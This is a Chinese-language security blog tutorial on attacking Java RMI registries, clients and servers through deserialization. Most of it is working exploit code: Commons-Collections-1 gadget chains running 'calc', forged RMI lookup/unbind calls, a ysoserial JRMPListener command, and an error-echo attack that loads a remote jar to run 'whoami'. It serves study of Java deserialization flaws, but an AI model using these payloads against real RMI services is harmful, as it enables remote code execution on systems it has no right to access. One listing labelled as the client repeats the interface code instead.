0x00 前言

RMI攻击对象有三个:注册中心、客户端、服务端。

每一种攻击方式,除了确定受害者,还要确定攻击者、攻击场景和攻击条件。

0x01 攻击注册中心

只有客户端打注册中心一种方式

概述

要想攻击注册中心,先要确定注册中心的反序列化点。RegistryImpl_Skel#dispatch给了几个case:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

不难发现,case1(响应list方法)不存在readObject方法,所以此处不存在反序列化点。但是其余的case有,所以我们不妨一试。

bind & rebind

先分析整个流程,再构造POC。

bind方法有两个参数,第一个参数是绑定对象的名称,String类型;第二个参数是绑定对象本身,Remote类型。bind方法会把两个参数交给前文对应的case0处理:

image-20250226131823984

事实上,我们只需要readObject方法执行就可以了,不需要在意之后的操作。但是bind方法限定了参数类型,所以我们仍然要在最外层套一层壳。

如果注册中心(一般与服务端在同一台JVM)这边存在cc1相关组件漏洞,我们就可以以cc1链为主体,外边套一层Remote代理(实现Remote接口,符合bind方法的参数限定),将该对象作为bind方法的第二个参数,进而在注册中心实现Java反序列化攻击。

给出POC:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package TestOne;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

import static Tool.Serialize.serialize;
import static Tool.Unserialize.unserialize;

public class ServerToRegistry_POC {
public static void main(String[] args) throws Exception{
// 先启动注册中心,实际POC可删除这一行代码
LocateRegistry.createRegistry(1099);
// 连接注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// 构造cc1链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
// 外边套一层Remote代理
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// bind
registry.bind("test",r);
}
}

想要具体分析攻击的底层流程,是一件比较困难的事情,等我再探索一番。

至于rebind方法,其逻辑一致,所以是同一个POC。

unbind & lookup

很有意思,值得琢磨。

unbind方法的参数是String类型,而POC的最外层是Remote类型,如何破局?

如果POC直接调用unbind方法,显然是不能成功的,因为unbind方法限制了参数类型。但是我们可以剖去unbind这“最外层”,直接调用unbind的执行源码。

想法并不困难,难的是如何实现。读者当然可以照搬POC,不做深究。但是学习不可如此,当步步扎实,知其然,知其所以然。

首要的,就是思考unbind方法的执行源码在哪里,然后才可以进行伪造。如下箭头代码是我们需要伪造的:

image-20250227170102729

留待读者自行伪造,下文给出POC:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class ServerToRegistry_POC_UnbindAndLookup {
public static void main(String[] args) throws Exception{
// 先启动注册中心,实际POC可删除这一行代码
LocateRegistry.createRegistry(1099);
// 连接注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// 构造cc1链
InvocationHandler handler = cc1();
// 套Remote代理
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
// 获取UnicastRef
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
// 获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}

public static InvocationHandler cc1() throws Exception {
// 构造cc1链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
return handler;
}
}

lookup方法同理。

0x02 攻击客户端

概述

攻击客户端有三种方法:

  1. 注册中心攻击客户端
  2. 服务端攻击客户端
  3. 加载远程对象

注册中心攻击客户端

除了unbind和rebind,剩余的三个方法都会返回数据给客户端。返回的数据是序列化形式,到了客户端会进行反序列化。如果我们能控制注册中心的返回数据,就能实现对客户端的攻击。这里使用ysoserial的JRMPListener,命令如下

cmd
1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 calc

只需要客户端进行访问:

java
1
2
3
4
5
6
7
public class RegistryToClient_ClientListen {
public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
registry.list();
}
}

如此客户端就会被反序列化攻击了。

服务端攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景。

  1. 服务端返回Object对象
  2. 远程加载对象

服务端返回Object对象

远程函数是在服务端执行的,服务端返回结果给客户端,客户端再把结果反序列化。如果我们伪造服务端,恶意控制返回给客户端的对象,就可以对客户端进行反序列化攻击。

要模拟这样的攻击,我们需要服务端和客户端,危险类及其接口一共四个文件:

User 接口

java
1
2
3
4
5
6
7
8
package TestOne.ServerToClient;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public Object getUser() throws RemoteException;
}

LocalUser 危险类

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package TestOne.ServerToClient;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

import static TestOne.ServerToRegistry.ServerToRegistry_POC_UnbindAndLookup.cc1;

public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;

public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

@Override
public Object getUser() {
try {
return cc1();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

Server 服务端

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package TestOne.ServerToClient;

import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);
//使用CountDownLatch保持服务运行
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}

}

Client 客户端

java
1
2
3
4
5
6
7
8
package TestOne.ServerToClient;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public Object getUser() throws RemoteException;
}

这种攻击方法可以使用许多条链子,不像前文客户端攻击注册中心那般限制。

远程加载对象

具体可以参考这篇文章,利用条件比较苛刻:https://paper.seebug.org/1091/#serverrmi-server,此处不做赘叙

0x03 攻击服务端

也是有两种方法:

  1. 服务端的方法参数是Object类型
  2. 远程加载对象
  3. 利用URLClassLoader实现回显攻击

第一个方法与上文服务端攻击客户端对应,一个传递参数,一个传递结果。第二个方法也在前文给出的那篇链接,不叙。

服务端的方法参数是Object类型

类似前面的四个文件,不过我都做了针对性修改。

User 接口

java
1
2
3
4
5
6
7
8
package TestOne.ClientToServer;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public void addUser(Object user) throws RemoteException;
}

LocalUser 危险类

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package TestOne.ClientToServer;

import TestOne.ClientToServer.User;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

import static TestOne.ServerToRegistry.ServerToRegistry_POC_UnbindAndLookup.cc1;

public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;

public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

public void addUser(Object user) throws RemoteException {
System.out.println("正在执行addUser方法");
}
}

Server 服务端

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package TestOne.ClientToServer;

import TestOne.ClientToServer.User;

import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);
//使用CountDownLatch保持服务运行
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}

}

Client 客户端

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package TestOne.ClientToServer;


import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import static TestOne.ServerToRegistry.ServerToRegistry_POC_UnbindAndLookup.cc1;

public class Client {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(cc1());
}
}

当执行客户端运行user.addUser方法时,危险参数就会被服务端接收并反序列化。

利用URLClassLoader实现回显攻击

思路打开一点,信息可以藏于报错之中,再想办法回显报错到客户端,这与sql报错注入有异曲同工之妙。

攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端

就不太讲述原理了,给出攻击手法。

远程demo:(demo不能被package,这是个坑点)

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

在该目录下执行命令:

shell
1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

Server 服务端

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package TestOne.ClientToServer_ErrorBase;

import TestOne.ClientToServer_ArgsBase.LocalUser;
import TestOne.ClientToServer_ArgsBase.User;

import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
LocateRegistry.createRegistry(1099);
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}

}

Client 客户端

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package TestOne.ClientToServer_ErrorBase;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = "file:///···/RMIexploit.jar";
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

成功回显如图:

image-20250228225205806

就先不讲解高版本绕过和JEP290绕过了,思路太乱了,先深造RMI等知识。

0x05 参考教程

文章 - Java安全之RMI反序列化 - 先知社区

♪(^∇^*)欢迎肥来!java反序列化之RMI/JRMP反序列化漏洞 | Sherlock

Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog

JEP290的绕过学习 - R0ser1 - 博客园